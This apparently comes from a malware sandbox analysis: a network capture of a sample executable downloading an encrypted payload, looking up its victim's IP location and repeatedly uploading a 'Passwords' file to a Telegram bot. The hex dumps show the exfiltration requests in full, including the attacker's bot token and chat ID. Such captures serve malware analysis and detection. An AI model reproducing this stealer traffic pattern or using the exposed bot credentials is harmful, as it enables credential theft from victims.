X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Mon, 16 Dec 2024 08:45:39 GMT Date: Fri, 10 Jan 2025 18:56:21 GMT Expires: Fri, 10 Jan 2025 18:56:21 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=/iKvKQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 18:56:21 UTC	4944	IN	Data Raw: 56 2b 19 ef 66 37 c7 e4 2a d2 99 ce 6c 99 86 54 ef 9b 6b 53 b3 a8 f9 c8 20 b4 c0 29 70 42 22 23 ef ea a9 69 10 3f ab 28 e1 a4 19 31 9e b4 6e 8e 4c 35 e9 71 aa f3 dd 2d 7c a2 a2 df ba c5 a3 54 20 1f 2b cb aa 48 5b a0 9f a0 db 3d 62 42 9b 1d 9b f7 6f dd 42 e5 1e 32 df 62 3c eb 06 f8 8a 0b 3d e4 0e 74 e4 11 fb dd 0e 18 72 c4 d1 e8 dd 6d 26 41 73 42 27 a8 86 51 2a 60 e9 ee 30 0c ae a5 4c 63 04 45 7e 65 b7 80 6c 3e 1f 8a 97 91 2f 48 b7 dc bd 13 62 89 09 9e bb 9a 86 2e b7 60 d9 47 63 1c 9d 40 39 b7 4a cf e5 85 1a 1d ea 24 8a d0 2b dc cb 9f 11 52 40 d9 1f a8 a0 51 c6 ab 52 21 9c 27 bf d8 70 91 aa 05 91 9e ea 36 85 c6 20 81 b5 e5 c4 f9 1d ee a2 53 76 b6 ba 62 8c d4 c2 81 1e 74 bb f7 bc 13 1d 5a 52 e3 c5 cb 38 07 23 c0 95 73 94 db b6 13 c8 05 86 6a 49 37 fd a3 93 Data Ascii: V+f7lTkS )pB"#i?(1nL5q-\|T +H[=bBoB2b<=trm&AsB'Q`0LcE~el>/Hb.`Gc@9J$+R@QR!'p6 SvbtZR8#sjI7
2025-01-10 18:56:21 UTC	4810	IN	Data Raw: ac 01 6a ee 10 8a 03 f1 c9 1d ec 80 90 7c 96 95 fd be ce 4f 68 27 60 48 e2 6f e5 cf 5a 02 ec bb d9 8d 18 18 4d 08 0a 5d 7c a7 61 cd a1 6f 5b 53 a9 c5 0c 4a 3b 7d 32 23 8e 01 b9 d6 cc 2b 59 fc 11 53 3e 62 ed ee 98 b6 14 86 d7 5e d0 16 91 42 7f 53 78 33 76 ae 79 73 7c 72 2d f6 91 a0 12 45 ee e5 28 a1 47 dd 67 67 4b 0b d1 0f ee 40 ff 95 70 90 62 bb a9 58 76 ca 34 18 23 14 5c dc e6 66 34 35 d7 ad 9e 9e bd 59 67 9f 12 0c 49 7a fd e7 4f 13 1d b1 20 0f fb f4 be b3 e1 91 84 d1 89 b2 3c a6 18 74 b9 fa 06 8e 87 db d4 ae 4b ab 28 b8 47 81 dd 1b ff b9 83 23 65 bf 49 2f 09 bb 73 ef 80 b9 e1 55 8d 1e 85 3d 43 bd 03 b6 bd 5c be e4 b6 51 c2 61 ab 09 ed 4b 1f 60 e3 6e c5 5e d1 7c 16 7b 62 86 19 97 0e 32 50 be 9c a2 6a 42 32 6c 3f ae 43 e8 c9 97 38 ae 8d e6 b8 3a a8 c5 c3 Data Ascii: j\|Oh'`HoZM]\|ao[SJ;}2#+YS>b^BSx3vys\|r-E(GggK@pbXv4#\f45YgIzO <tK(G#eI/sU=C\QaK`n^\|{b2PjB2l?C8:
2025-01-10 18:56:21 UTC	1323	IN	Data Raw: 71 ad 0a a6 4c 96 3f 0e 0a 7e a1 93 49 87 9e 06 a8 aa 5f 67 f0 6e 47 e2 3a 52 7c f7 b1 a9 08 d2 4a 51 ca c8 84 07 ad 1c 31 aa 49 6e 1e 21 12 cb dc c0 5c cf 5d 96 6c 5f 49 5b cb 38 30 ff fb 6b 37 e4 ba b4 3a 89 1e 11 ea fa 6c 09 9d ba e9 b4 29 58 49 8a ae b6 3f 5b e5 57 d3 40 97 80 b0 d5 67 ba de 1c 7a c0 6a 04 50 14 a5 d5 5c 4d 74 f7 de e1 0f c5 1d 30 7c 07 b0 d8 eb fd d6 e1 09 c0 a2 07 7c df 2f f3 30 d9 c7 ad ee 95 73 81 df 74 ed f1 5b c7 d4 a4 ac 40 85 b3 d7 1d 2b 83 e3 43 bc 5d ca 30 13 70 41 97 70 87 87 7f 5f f3 73 0a 44 6a ad c5 46 11 b6 57 a6 ad 77 bd ee f1 04 35 2d 0d 85 07 4b 09 83 41 59 70 91 af 22 33 75 94 f4 86 ce 40 9b ac 4a eb 34 b2 56 61 c3 9e 35 5d 06 9c 6e d1 03 6a 68 d9 17 55 5e e8 19 5a 29 b8 f8 d5 30 32 89 e9 5b e8 92 e1 f4 4b d9 99 b8 Data Ascii: qL?~I_gnG:R\|JQ1In!\]l_I[80k7:l)XI?[W@gzjP\Mt0\|\|/0st[@+C]0pAp_sDjFWw5-KAYp"3u@J4Va5]njhU^Z)02[K
2025-01-10 18:56:21 UTC	1390	IN	Data Raw: 71 da ec df 1b ef 65 6e 48 94 3b d7 64 66 d3 bb 74 56 ee a4 87 ce 1c 08 34 6a 42 f2 9a 0c 2c 85 f7 b8 0a d9 a3 74 d1 c5 c3 13 ad 1c 3d 08 6e 77 e2 28 7a 86 ac 62 70 6d 5f ed 2b 4c 4d 21 ec e9 30 fb e0 12 53 aa ba b0 30 09 3b 11 ea fe 7f 2b 9d 92 ae b4 29 52 7e 8f bf a2 12 c8 40 1e c1 42 6d e8 ef d5 67 ab 99 49 7a c0 6a 0e 8a 07 8a c6 58 61 53 f4 b5 a7 0f c7 19 05 af 7d 27 d2 e4 fd d6 e3 72 91 92 0d 78 eb 7f f3 30 ff ef f9 ff 95 0a 53 d8 67 e2 eb 44 66 e6 a6 d7 0b a0 a5 a1 ff ed 83 93 eb 99 4a b8 d4 7d 38 31 35 51 e1 a6 7d 49 f9 2b fc 61 73 d5 d7 58 02 c0 e4 ac 95 69 bb 8f 34 95 35 29 24 73 11 35 dd 83 41 53 00 d0 f5 22 43 1e 35 a7 86 c4 e8 96 ef 34 35 3e bf 55 00 29 99 32 01 64 41 15 9d 09 c8 49 e9 ba 8b 5e e2 13 28 cd 85 f8 a5 44 dd 83 e9 7b 4b b7 f8 af Data Ascii: qenH;dftV4jB,t=nw(zbpm_+LM!0S0;+)R~@BmgIzjXaS}'rx0SgDfJ}815Q}I+asXi45)$s5AS"C545>U)2dAI^(D{K
2025-01-10 18:56:21 UTC	1390	IN	Data Raw: c1 dd ff f1 1c 68 e8 ac a3 37 b1 dd 13 ea fa 6e 35 8e b7 e9 a7 27 49 63 f9 40 a7 3f 53 8d 1e c2 4e 82 f0 91 85 7d b0 86 27 91 c0 60 04 41 d1 ce 2b 58 61 73 e6 b5 b6 01 b7 4d 02 af 77 98 9c eb fd dc f0 63 9b b3 1e 0b 51 7c f3 3a c0 fd e8 fc fa 88 8a d8 6d 5f f3 4d fa ca b1 0d 1d 53 3e 8a 35 f8 82 f0 5d aa 4e df 40 8a 3d 41 e7 67 ef c5 6d 4e ed 4d 4f 57 05 55 c9 4e 08 96 57 b4 97 eb 9f 45 b9 04 35 d7 24 45 10 5a 14 90 58 48 6b c6 e5 34 20 69 ea 8c 83 ce 5d a0 e0 4a fa 2d a8 85 61 de 99 21 6a 33 a8 17 9d 03 7b 78 e0 df c4 41 c2 28 4d 38 86 e9 ce ba 1d fc c6 7f f8 86 f0 ca da c6 b5 46 16 24 f1 31 f9 b9 cb fb fa 90 d7 01 ff 39 e0 1a 21 9e e7 c2 09 c3 3d 35 44 88 f7 d0 d4 0b 4d f6 b0 59 ba c5 ac 5f fe 23 c6 26 f6 5e 5c 57 85 be 4a 4b 33 bf ef 56 b6 a9 cd e2 79 Data Ascii: h7n5'Ic@?SN}'`A+XasMwcQ\|:m_MS>5]N@=AgmNMOWUNWE5$EZXHk4 i]J-a!j3{xA(M8F$19!=5DMY_#&^\WJK3Vy
2025-01-10 18:56:21 UTC	1390	IN	Data Raw: 15 fc dd e4 5e 8e b5 0d 53 a4 7c e5 3a f8 ef ff c4 95 79 91 e8 61 e8 f2 5f eb d9 97 d7 0a 94 b3 d1 47 30 98 e3 39 94 13 ca 32 62 33 57 1a 2d f9 d4 7e 53 fe 73 a6 44 6a ad df b0 03 bd 4f b3 84 6b ba b9 b0 10 26 2d 25 6e da 4b 03 83 41 2b 90 f1 e3 52 2d 02 13 a7 86 c4 4d 9b 02 4a eb 34 97 a4 72 c4 85 21 77 1a 98 7a 61 03 6a 66 e2 cc 7e 1d f3 11 35 57 92 f8 df 03 38 83 e9 7b fa 9b f0 d8 3f 44 88 b8 16 21 05 21 d8 d7 20 e8 e6 8b d8 19 f3 23 ee 2f c9 93 cb db 09 df 41 d5 55 9c ec dc 2a dc 89 f6 ba 3c a9 db bd 4b c4 56 ee e3 fc 52 56 7f cb af 42 2e a0 a9 9d be a0 a4 ac fc 74 67 9d c4 77 f9 76 88 fa 98 f2 d9 f9 9b b9 74 ea 39 87 e1 83 b4 d5 14 d8 d0 83 e2 1a bd 0d 78 d1 70 66 80 95 d4 d8 5f 5d 6f 61 31 ca aa 14 f0 92 4d e8 75 fe 2e 16 37 15 14 73 88 33 b7 29 4d Data Ascii: ^S\|:ya_G092b3W-~SsDjOk&-%nKA+R-MJ4r!wzajf~5W8{?D!! #/AU*<KVRVB.tgwvt9xpf_]oa1Mu.7s3)M
2025-01-10 18:56:21 UTC	1390	IN	Data Raw: 81 6a bf 95 b9 40 35 29 24 4d 37 4f 03 ff 40 59 72 d9 e3 22 22 71 f5 bb ae 16 4a b3 f2 38 cb 23 bf 2f 5a 8a 8f 32 7b 01 9e 13 b5 fb 6a 6c fb cf 52 67 a4 18 5a 29 94 8b 02 2b 02 85 e5 79 9b c8 fd d1 3b b6 5a b8 17 34 29 38 bd 6b dd e8 e0 96 11 01 e4 3e ee 24 e0 88 e6 c2 18 dd 3f 2c 27 f4 fa cb 35 4c 5c f6 b0 55 a4 d2 ac 46 9e 42 f2 e3 86 31 83 7f cb b8 59 45 28 b8 9a c6 2f b5 bd 81 36 02 43 d3 60 e2 06 88 ff b0 60 f5 f4 8c a2 09 ea 31 ab a3 ea 9d d6 15 d2 da 30 ee 95 d4 1c cd c3 ab 71 5c 30 19 d8 5f 5a 6f 6f 28 d8 af ed e7 89 c9 90 64 32 f8 71 24 1e 0f 78 a4 34 98 97 5b 40 91 18 58 44 70 8e 00 eb eb 5a 07 54 68 b3 89 25 67 21 3e fe b7 58 69 86 cb 44 23 58 db 6c 0d 1f ec 7c 4b c5 ff d6 fa 75 16 5d 6b b1 80 1a d9 86 a9 2a e0 4a aa f3 eb 57 77 24 51 c5 c3 fc Data Ascii: j@5)$M7O@Yr""qJ8#/Z2{jlRgZ)+y;Z4)8k>$?,'5L\UFB1YE(/6C``10q\0_Zoo(d2q$x4[@XDpZTh%g!>XiD#Xl\|Ku]k*JWw$Q
2025-01-10 18:56:21 UTC	1390	IN	Data Raw: 92 e1 d7 58 dc 99 bd 3f a1 0f 30 d4 ab d5 f9 ee ad 88 14 ca 2b fc 23 d2 f0 e3 c3 18 df 41 2e 54 9c ec e3 d1 23 89 f0 a3 5a b8 d3 a9 bf ed 2f e4 f2 fc 48 a8 7e d8 b5 5b 4a 0c bf b5 1e b3 a9 b7 e0 5c b8 1c d3 66 fb 12 90 d2 0d f3 f5 f2 99 b4 01 fb 39 ac c0 ec 9d 7f 14 d2 da 57 fb 93 a6 8a be c6 da 1e 83 18 8d de 30 03 7c 66 33 f9 07 13 e6 9c d0 84 6e 35 02 02 d5 10 1e 03 9e 0a 31 3d 5b 4a 8d f7 5e 3a 2a fc e2 e4 fa 23 39 e9 e9 b3 8f 3c 74 df 3d a1 8f 74 78 a2 4d 09 3e df ec 7d 0a 6c 55 76 39 53 84 03 8a d7 35 25 3d 13 a5 08 83 16 bc 2a 96 fb 8a ea eb 57 a7 e3 4e b7 f5 ff fb ef 08 01 76 14 cc 4d 23 d7 a2 3c 1a c9 32 63 66 c9 56 aa a5 a0 7e 43 ad 06 12 bd 3e 4a fc ea 59 ea b5 c7 85 84 45 ec 48 10 98 55 71 6a bc 83 9d b0 a6 5f fe 29 eb 15 69 27 a5 d7 6c c3 b6 Data Ascii: X?0+#A.T#Z/H~[J\f9W0\|f3n51=[J^:#9<t=txM>}lUv9S5%=WNvM#<2cfV~C>JYEHUqj_)i'l
2025-01-10 18:56:21 UTC	1390	IN	Data Raw: 3c f1 59 dd 55 2d 65 e0 06 eb 18 9d f3 85 e2 a2 30 01 fb 33 91 1e ef ea c6 18 c3 dc 73 a7 89 59 29 a2 c6 ab 54 40 6a 6b cc 5f 2c de 43 2e d8 19 36 fe e8 ef 94 6e 54 a4 55 2e 04 1a d1 ad 38 c2 7b 4e 40 eb ab 78 30 3e 8b a2 c4 e6 21 e4 e3 68 c3 2d 1e c2 21 3e f4 8f 75 17 a1 61 44 27 43 de 55 44 6d 70 6a cb ba 90 03 fe 75 10 23 33 a6 56 03 f6 2b ae 3b e0 67 4f 0d 05 ac 05 c6 8a d5 96 c2 c8 9f aa 2e 7e 0b c9 c7 54 cb d0 18 e4 c9 42 eb 0f 75 56 aa af b3 73 3d b1 06 12 b9 78 46 d4 a4 33 eb bf 47 9a 84 45 e8 0c 10 89 53 7d 8c ab 84 f0 b6 b7 59 f3 c9 15 fb 96 38 b9 21 a4 e6 9e e9 1e 48 ea 1d 96 a8 d7 13 e0 9f f7 b4 c8 19 82 27 60 46 c1 e3 dc 89 51 02 32 b1 aa 53 34 1f 42 6b 03 2f 26 b1 61 61 10 ae 7e 7b 9c e3 04 2f fb 79 32 0d cb db aa da 07 2f 5c c4 06 52 3e 62 Data Ascii: <YU-e03sY)T@jk_,C.6nTU.8{N@x0>!h-!>uaD'CUDmpju#3V+;gO.~TBuVs=xF3GES}Y8!H'`FQ2S4Bk/&aa~{/y2/\R>b
2025-01-10 18:56:21 UTC	1390	IN	Data Raw: b0 3d 51 53 95 09 75 79 2f 8e 0a 3f fa 53 05 80 74 b3 8f 36 62 21 3e ed 9c 78 69 f9 60 44 23 38 d2 7d 0a 7d 70 60 4b f1 90 03 fb 6e 20 36 34 cd 81 10 f1 09 a9 2a f7 59 b0 ef d2 8b 05 c6 5e b7 2a cf fb ef 82 6a 6d 05 c3 e5 06 cd f8 ea 3a c9 48 ca 49 50 10 ab af b3 75 4e 75 06 12 bf 23 4f a6 fe 45 ea cf 28 58 84 45 ee 6e 18 e6 81 66 bc a9 93 56 a4 b1 4f d3 ce 2d fd 97 27 a5 01 6d e1 ec 8b 70 7b b9 72 33 80 99 15 ed 9d ec b3 bc 4f 66 27 10 23 1f e4 e5 c9 43 06 3a a6 de f6 a8 03 44 17 64 88 7c ad 67 02 7a 6d 7b 53 09 c5 0c 46 3b 71 23 03 f0 42 bf f4 12 3d 5b f6 7e 57 3f 62 99 99 9d b7 10 fe a9 c1 d0 66 81 79 f7 42 71 2d 9e 51 6b 6a 68 69 3e 31 8b b2 19 54 e5 ba b2 89 ed d7 74 6b 4b 08 c0 4e ee 40 f1 f7 f4 b8 f7 b1 c6 d0 65 cf 3e 18 32 39 13 53 ce cc 3e 4b fc Data Ascii: =QSuy/?St6b!>xi`D#8}}p`Kn 64Y^jm:HIPuNu#OE(XEnfVO-'mp{r3Of'#C:Dd\|gzm{SF;q#B=[~W?bfyBq-Qkjhi>1TtkKN@e>29S>K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49977	104.21.96.1	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:24 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 18:56:25 UTC	857	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:24 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1850174 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4yK9u6Mp%2FwGJVxKBykM0PquEE9Mdx06Cf6u6%2BN26Kkq0qqxc5o%2BsOxZqVxPMtwfEse0zsx1xeUh7yCQBEVxiocKROcD6Z9JlqSCkiYtJHyP%2BS65vzFLiiIrjU8mdICnWNxeBa17M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffee30bde0d72a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2032&min_rtt=2001&rtt_var=813&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1295474&cwnd=212&unsent_bytes=0&cid=f7ea59a0f6be6474&ts=169&x=0"
2025-01-10 18:56:25 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49978	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:31 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd317e95a26f14 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:56:31 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 37 65 39 35 61 32 36 66 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd317e95a26f14Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:32 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:32 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 33 39 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44604,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535392,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49980	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:33 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3194e69a35fe Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:56:33 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 39 34 65 36 39 61 33 35 66 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3194e69a35feContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:33 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:33 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 33 39 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44605,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535393,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49982	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:35 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31a596b280c7 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:56:35 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 61 35 39 36 62 32 38 30 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31a596b280c7Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:35 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
